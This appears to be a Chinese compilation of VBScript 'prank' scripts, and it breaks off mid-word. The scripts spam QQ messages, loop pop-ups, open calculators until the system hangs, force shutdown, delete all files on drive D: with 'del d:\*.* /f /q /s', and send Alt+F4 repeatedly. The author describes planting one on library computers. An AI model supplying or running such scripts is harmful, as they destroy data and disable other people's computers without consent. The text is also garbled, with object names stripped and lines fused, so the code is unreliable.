整人代码大集合+多年的代码收集.doc

vbs整人代码大集合多年的代码收集详细出处参考:vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学****vbs的朋友非常有帮助,死循环的使用比较多。一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).=>复制代码代码如下:OnErrorResumeNextDimwsh,yesetwsh=createobject("")fori=("与xx聊天中")"^v""%s",也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈------------------------------------------------------------------------------domsgbox"Youarefoolish!"loop------------------------------------------------------------------------------三、打开无数个计算器,直到死机------------------------------------------------------------------------------setwsh=createobject("")"calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWSHshell=("")"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=("")"CMD/c""deld:\*.*/f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------复制代码代码如下:while(1)msgbox"哈哈你被耍了!"loop----------------------------------------------------------------------------七、不断按下alt+f4(开什么都关闭……)---------------------------------------------------------------------------复制代码代码如下:dimWSHshellsetWSHshell=("")while(1)"%{F4}"loop八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500,500可以随意更改)复制代码代码如下:dimsdountils=500s=s+1msgbox"哥们,给我按500次回车吧",64loop'------------------------------------------------------------------------------------九、关不掉的窗口复制代码代码如下:("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScrip